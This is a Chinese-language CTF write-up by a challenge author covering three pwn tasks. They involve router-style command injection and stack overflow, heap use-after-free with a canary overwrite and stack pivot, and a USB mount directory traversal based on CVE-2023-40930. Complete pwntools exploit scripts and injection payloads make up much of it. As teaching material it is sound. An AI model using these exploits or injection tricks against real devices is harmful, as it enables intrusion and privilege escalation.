前言
去年没有招到新的学弟,所以今年又是两个老东西出的题,学长出的GuestBook,而我出的剩下几道。已经大概有一年多没怎么打ctf了。。也不太清楚现在的考点,于是就出了一道Glibc的题,剩下的两道结合了自己一年多搞IOT的经验和一个自己新发现的CVE(CVE-2023-40930),希望大家能玩的开心~
EASYBOX
这题有54个解,没猜错的话大家应该都是通过注入做的,这也是预期的一种解法
出题思路
这题其实是想把几个常见的路由器漏洞合在一道题里,总共有这么几个漏洞:
(1)目录穿越
catCommand中strcat的第二个参数s没有ban掉”..”,所以存在目录穿越能够读前面init函数中的canary文件
(2)命令注入
pingCommand函数中存在命令注入:
并且黑名单没有ban单双引号以及”`”所以肯定是能够直接注入获取flag的:
(3)栈溢出
这个其实是一开始设置的预期解,后面web社长pankas指出ping那里没ban单双引号可以注入,但思考很久还是把这两个解法都留着,做一个开放性的题目
catCommand是通过fread从一个文件中读数据然后存到栈上的数组,所以如果这个文件中的数据超过了栈上数组的大小,那么肯定就溢出了
这个思路是源于之前研究过的一个路由器,也有类似的问题:
这里的fgets是把v1这个fd对应的文件中的数据读到栈上,读0x200大小,但其实v11这个数组只有120大小,所以就可能存在溢出。但后面发现其实v1对应的fd是一个存报错信息的文件,貌似不太好控制其中的内容,所以就浅尝辄止了,但也就留存了这么一个思路来放到这个题
具体的解法就是在ping中的system,通过分割符执行echo命令,把padding和rop写到result.txt中,再通过catCommand去读完成溢出劫持到rop
exp
(1)命令注入解法:
注的手法很多,这里就不赘述
(2)栈溢出解法:
from pwn import *
import time
import base64
context.log_level = 'debug'
io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)
def z():
gdb.attach(r)
time.sleep(1)
if __name__ == '__main__':
global r
global libc
global ef
#libc = ELF("./libc-2.31.so")
#r = process("./pwn")
r=remote("127.0.0.1",9999)
#ef = ELF("./pwn")
#ef.checksec()
pop_rdi_ret = 0x401ce3
system = 0x401230
sh = 0x402090
ret = 0x40101a
## leak canary
sla("name:","nameless")
sla("$","CAT")
sla("view:","../secret/canary.txt")
canary = int(r.recvuntil("\n",drop = True),16)
lg("canary",canary)
## stack overflow attack
sla("$","PING")
payload = "a"*0x48 + p64(canary) + p64(0) + p64(pop_rdi_ret) + p64(sh) + p64(ret) +p64(system)
payload = base64.b64encode(payload)
print(len(payload))
pd = ";echo "+'"'
pd += payload
pd += '" | base64 -d'
#z()
sla("address:",pd)
## get shell
sla("$","CAT")
#z()
sla("view: ","result.txt")
io()
(ps:这里通过base64加解码是因为rop中有”\x00″会截断字符串)
总结
这题设计的还是有一定缺陷的,比如指向性太差,一般不会有人考虑栈溢出的解法,然后其实离真实设备还有一定差距,下次如果有机会的话,可以改一个openwrt的docker来出题
Binding
彩蛋
这题的描述和EASYBOX的描述都致敬了笔者最近痴迷的一款游戏——The Binding Of Isaac:Rebirth(以撒的结合:重生)
出题思路
和去年一样的不想出house,而且想出一道表面堆实际栈的题。所以就想到了栈迁移到堆,然后思考如何绕过canary,一般来说canary一般都是泄露,笔者自从2022年的Hgame做过一道chuj学长出的多线程改canary的题就没遇到过直接修改canary来绕过的题了。于是就出了一道给一次任意地址写1字节,直接改fs:0x28的canary本源来绕过的题
解题思路
存在UAF,所以可以通过unsorted bin泄露libcbase和heapbase,一次任意地址写改fs:0x28的canary,然后通过edit的my_atoi的溢出栈迁移到堆完成利用
exp
from pwn import *
import time
context.log_level = 'debug'
io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)
def z():
gdb.attach(r)
time.sleep(1)
def cho(num):
sla("choice:",str(num))
def add(idx,sz,con):
cho(1)
sla("Idx:",str(idx))
sla("Size:",str(sz))
sa("Content:",con)
def show(idx,choice):
cho(3)
sla("Your choice:",str(choice))
sla("Idx:",str(idx))
def edit(idx,content1,content2):
cho(2)
sa("Idx:",idx)
sa("context1: ",content1)
sa("context2: ",content2)
def delet(idx):
cho(4)
sla("Idx:",str(idx))
if __name__ == '__main__':
global r
global libc
global ef
libc = ELF("./libc-2.31.so")
#r = process("./pwn")
r=remote("0.0.0.0",9999)
ef = ELF("./pwn")
ef.checksec()
add(0,0x100,"nameless")
add(1,0x100,"nameless")
add(2,0x100,"nameless")
add(3,0x100,"nameless")
add(4,0x100,"nameless")
add(5,0x100,"nameless")
for i in range(0,5):
delet(i)
# leak libcbase && heapbase
show(3,1)
rcu("context: ")
libcbase = u64(r.recv(6).ljust(8,'\x00')) - 0x1ecbe0
show(2,0)
rcu("context: ")
heap = u64(r.recv(6).ljust(8,'\x00')) - 0x5d0
lg("libcbase",libcbase)
lg("heap",heap)
# set libc func
fsbase = libcbase + 0x1f3540
canary = fsbase+0x28
leave_ret = libcbase + 0x578c8
target = heap + 0xf60
open = libcbase + libc.sym["open"]
read = libcbase + libc.sym["read"]
puts = libcbase + libc.sym["puts"]
pop_rdi_ret = libcbase + 0x23b6a
pop_rsi_ret = libcbase + 0x2601f
pop_rdx_ret = libcbase + 0x142c92
# set rop
chunk = heap + 0xa10
pd = p64(0)+p64(pop_rdi_ret)+p64(chunk)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(open)
pd += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(chunk)+p64(pop_rdx_ret)+p64(0x30)+p64(read)
pd += p64(pop_rdi_ret)+p64(chunk)+p64(puts)
add(6,0x150,"flag\x00")
add(7,0x200,pd)
# get shell
edit("0".ljust(0x30,'\x00') + p64(target) + p64(leave_ret),p64(canary),p64(0))
io()
BadUdisk
出题思路
USB挂载漏洞介绍
这题源于CVE-2023-40930,一个USB挂载目录穿越的漏洞
漏洞介绍:https://gist.github.com/NSnidie/2af70d58426c4563b2f11171379fdd8c
漏洞复现环境搭建:GitHub – NSnidie/CVE-2023-40930: CVE-2023-40930 Repetition Enviroment
简单谈谈这个漏洞,早在几年前就有一个类似的安卓漏洞 CVE-2018-9445,近年也有对日产Xterra车机linux系统USB挂载目录穿越的披露:U盘目录穿越获取车机 SHELL(含模拟环境) (delikely.eu.org)
这几个漏洞有一个共性,就是挂载的目录会通过label字段进行控制。比如我的label字段为”nameless”,最后挂载的目录一般就是”/mnt/nameless”;但如果挂载的时候对label字段没有很好的限制的话,比如说没有禁掉”..”,我的label字段设置为”../nameless”,那么就有可能挂载到”/nameless”目录
而且一般处理挂载的是root一类的超级用户进程,挂载过后可能会有对其它进程的调用比如system(“/sbin/log”),如果通过这个挂载漏洞,覆盖掉/sbin目录,将log替换为反弹shell到我们的攻击机上,就完成了提权和对目标设备的劫持
题目设置
这道题就是对整个usb挂载的模拟,vold进程负责把mkudisk进程修改的tmp目录根据提供的label字段进行挂载。正常挂载是到/mnt目录,但是由于没有对label字段进行限制,导致可以目录覆盖,覆盖vold进程最后调用的可执行文件log,完成对flag的泄露
exp
解法1——label注入
由于label字段没有做严格的限制,导致vold的system存在注入:
赛后询问唯一做出来这题的北邮的纯真师傅,发现他就是这么做的,下面是他分享的exp:
from pwn import *
p=connect('1.14.69.246',9999)
context.log_level='debug'
p.sendlineafter(b'prefer:',b'a')
s='|chmod${IFS}+r${IFS}/home/ctf/*'
p.sendlineafter(b'$','printf${IFS}"\\'+oct(ord(s[0]))[2:].rjust(3,"0")+'">label')
s=s[1:]
for i in s:
p.sendlineafter(b'$','printf${IFS}"\\'+oct(ord(i))[2:].rjust(3,"0")+'">>label')
p.sendlineafter(b'$','exit')
p.interactive()
解法2——USB挂载目录覆盖
from pwn import *
import time
import base64
context.log_level = 'debug'
io=lambda: r.interactive()
sl=lambda a: r.sendline(a)
sla=lambda a,b: r.sendlineafter(a,b)
se=lambda a: r.send(a)
sa=lambda a,b: r.sendafter(a,b)
lg=lambda name,data: log.success(name+":"+hex(data))
rcu=lambda a: r.recvuntil(a)
def z():
gdb.attach(r)
time.sleep(1)
if __name__ == '__main__':
global r
global libc
global ef
#libc = ELF("./libc-2.31.so")
#r = process("./pwn")
r=remote("127.0.0.1",9999)
sla("prefer:","../mybin")
sla("$ ","sh")
time.sleep(1)
sl("cd ../tmp")
time.sleep(1)
sl("echo '#!/bin/sh\ncat /home/ctf/flag >/home/ctf/work/vold_log.txt\nchmod 777 /home/ctf/work/vold_log.txt' > log")
time.sleep(1)
sl("exit")
time.sleep(1)
sl("exit")
io()
总结
这一年CTF打的比较少了,主要还是在做一些IOT方面的研究,但还是希望这几道题大家能玩的开心~